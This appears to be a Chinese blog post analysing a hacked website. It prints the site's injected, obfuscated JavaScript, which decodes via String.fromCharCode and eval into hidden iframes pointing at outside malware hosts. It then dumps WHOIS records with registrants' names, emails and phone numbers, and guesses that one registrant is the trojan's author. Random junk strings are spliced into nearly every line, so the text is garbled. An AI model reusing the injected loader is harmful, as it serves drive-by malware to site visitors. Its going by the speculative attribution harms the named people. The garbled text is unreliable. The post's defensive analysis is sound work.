首发在我的博客里面，
Hrk]6* J oCZ{MhM http://www.areway.cn/?p=175 0{q >'d v vR)f'+_Nz l:i&l?>_ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
aWCZ1F XsXO S8 <script>t=’60,105,102,114,97,109,101,
?^Q8#Y^M 32,115,114,99,61,104,116,116,112,58,47,47,
9*&c2jh 102,114,101,101,46,117,45,117,117,117,46,99,
l+vD`aJ 3 110,47,101,114,114,111,114,46,104,116,109,
) {I0 32,119,105,100,116,104,61,49,48,48,32,104,
!2o1c 101,105,103,104,116,61,48,62,60,47,105,102,
-91*VBrOd 114,97,109,101,62′;
b4R;#rm t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
L* 0$x I,lX;~xb <script>t=’60,105,102,114,97,109,101,32,115,
LJc"T)>$` 114,99,61,104,116,116,112,58,47,47,102,114,
JqmxS*_P 101,101,46,117,45,117,117,117,46,99,110,47,
a$AR 101,114,114,111,114,46,104,116,109,32,119,
E
xls_oSp 105,100,116,104,61,49,48,48,32,104,101,105,
;}dvc7 103,104,116,61,48,62,60,47,105,102,114,97,
zzH^xxg 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Ct<]('Hm( document.write(t);</script>
3-PqUJT$ V"Sa9P{y" <html xmlns=”
P{ K;vEp http://www.w3.org/1999/xhtml + e 87/\5 “>
`w_%HVw>" <head>
GiK4LJ~cH) <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
DuMzK%
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
0 #S#v2r5 <title>首页 - 爱生活家庭网
gWu<5Y=C 11((b 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
*yZ `aKfH 转换字符串后的大概内容是（谁点击后果自付）：
jAcrXB* <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
fjd)/Gg xep8CimP' 查询玉米u-uuu.cn的详细信息：
p>l:^ -N;f Domain Name: u-uuu.cn
w$DHMpW' ROID: 20070901s10001s64972306-cn
4o<rj4 G> Domain Status: ok
^?8/9 o Registrant Organization: 王雷
L"tzUYxg Registrant Name: 王雷
dLfB){>S Administrative Email:
czlovexs@126.com y}U}AUt Sponsoring Registrar: 北京万网志成科技有限公司
3`TD>6rs Name Server:ns.yovole.com
f}t8V% ^E Name Server:ns1.yovole.com
bP Q=88* Registration Date: 2007-09-01 17:54
8Drz
i!} Expiration Date: 2008-09-01 17:54
we/sv9v} n 最后PING了一下地址 都没有什么….
kW7$Gw]- .%EYof 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
x']Fe7nv
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
ij,Rq`}l <script language=”javascript” src=”
=/!RQQ|8o http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script EO`eg] >
f~10 i D 这个玉米应该有可能是木马作者的：
\^1S:z foafau.info的详细信息：
{e5DQ 21. Access to INFO WHOIS information is provided to assist persons in
w>o /)TTJL determining the contents of a domain name registration record in the
@'9m()%-]g Afilias registry database. The data in this record is provided by
b_X&>^4Dkl Afilias Limited for informational purposes only, and Afilias does not
`&9iC 4P guarantee its accuracy. This service is intended only for query-based
7$*X
access. You agree that you will use this data only for lawful purposes
aJ QzM and that, under no circumstances will you use this data to: (a) allow,
U=WS] enable, or otherwise support the transmission by e-mail, telephone, or
N 8iLI` facsimile of mass unsolicited, commercial advertising or solicitations
$XI.`L *g to entities other than the data recipient’s own existing customers; or
Q5b 9q$L$ (b) enable high volume, automated, electronic processes that send
edo+ o{^ queries or data to the systems of Registry Operator, a Registrar, or
Z (t 7QFd Afilias except as reasonably necessary to register domain names or
}xry modify existing registrations. All rights reserved. Afilias reserves
? G`6}NP the right to modify these terms at any time. By submitting this query,
@ ^R l{p you agree to abide by this policy.
)8!*,e=4 Domain ID:D22418703-LRMS
\(RD5@=!4# Domain Name:FOAFAU.INFO
s h R| Created On:20-Nov-2007 16:05:42 UTC
3RanAT.nu: Last Updated On:20-Nov-2007 16:05:44 UTC
/,_m\ JkwL Expiration Date:20-Nov-2008 16:05:42 UTC
snWe& - Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
{a_ _/I>) Status:CLIENT DELETE PROHIBITED
CBv0fQtL Status:CLIENT RENEW PROHIBITED
K9-9 c"cz Status:CLIENT TRANSFER PROHIBITED
*4e ?y Status:CLIENT UPDATE PROHIBITED
0'HQ=pP Status:TRANSFER PROHIBITED
=Oq *9=v| Registrant ID:GODA-040110615
I(Z\ $ Registrant Name:liu hong
9a @rsyX Registrant Organization:
j XH9P q4 Registrant Street1:beijing
Ta[\B WR2 Registrant Street2:
p="0Y<2l Registrant Street3:
r6nnRN/S= Registrant City:beijing
/z_]7] Registrant State/Province:
DJ DQH \& Registrant Postal Code:100000
"%)g^Atp> Registrant Country:CN
T-#4hY` Registrant Phone:+86.860108888777
t>AOF\ Registrant Phone Ext.:
[_nOo ` Registrant FAX:
q Y$ [2] Registrant FAX Ext.:
4=o vm[ Registrant Email:bbbshiji@163.com
zP x R=0| Admin ID:GODA-240110615
lm
96:S Admin Name:liu hong
/y$ Fw9R; Admin Organization:
]'"Sa<-> Admin Street1:beijing
vJaWHC$q Admin Street2:
x\U[5d Admin Street3:
.1q}mw Admin City:beijing
|1 "&[ . Admin State/Province:
i6KB\W2 Admin Postal Code:100000
lOp. c U Admin Country:CN
&
W od Admin Phone:+86.860108888777
bD0l^?Hu! Admin Phone Ext.:
Z[OX {_2]K Admin FAX:
l'/`2Y1 Admin FAX Ext.:
a_V\[V{R= Admin Email:bbbshiji@163.com
vX\9#Hj Billing ID:GODA-340110615
e`s1z|h Billing Name:liu hong
IJ&Lk=2E] Billing Organization:
L FkDb} Billing Street1:beijing
X!qK[b@ Z Billing Street2:
kqm (D# Billing Street3:
KCW2
UyE] Billing City:beijing
uQKQC?w Billing State/Province:
l)vC=V6MG Billing Postal Code:100000
mpu g#i6q Billing Country:CN
j(Lz& *4 Billing Phone:+86.860108888777
jkx>o?s)z Billing Phone Ext.:
Zs
/>_w} Billing FAX:
U8 Zb&6 Billing FAX Ext.:
UuWIT3W>% Billing Email:bbbshiji@163.com
`z\hQ%1!F Tech ID:GODA-140110615
*: @KpYWx" Tech Name:liu hong
-n&&d8G^s Tech Organization:
2+rT .GFc Tech Street1:beijing
e{@RBYX@+c Tech Street2:
D[/fs`XES Tech Street3:
pE&G]ZC Tech City:beijing
Ku l<Q< Tech State/Province:
"D
_r</b Tech Postal Code:100000
7DJEx~"!2- Tech Country:CN
} +}nrJv Tech Phone:+86.860108888777
@ W>@6E Tech Phone Ext.:
@01.Pd Tech FAX:
B1 8B wY Tech FAX Ext.:
|${4sUR Tech Email:bbbshiji@163.com
0[l}@ K ? Name Server:NS27.DOMAINCONTROL.COM
Y7.+
Ma#| Name Server:NS28.DOMAINCONTROL.COM
`FPQ Oa*%3 Name Server:
b^$`2m-?@f Name Server:
miaH ,hm Name Server:
j~k,d.17M Name Server:
Xe %J{ Name Server:
ks0Q+YW Name Server:
+d6onO{8 Name Server:
R%WY!I8C Name Server:
TRGpE9i Name Server:
k sv ] Name Server:
KSPa2>lz? Name Server:
@& }}tALi tTy !o= 接着下载每个文件里面的代码：
u2oS Ci 一步一步看..
_u[tv, 
lg aSIXDK 
HDH G~<s 
jw:z2:0~ 
YGo?%.X 
i!%bz 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
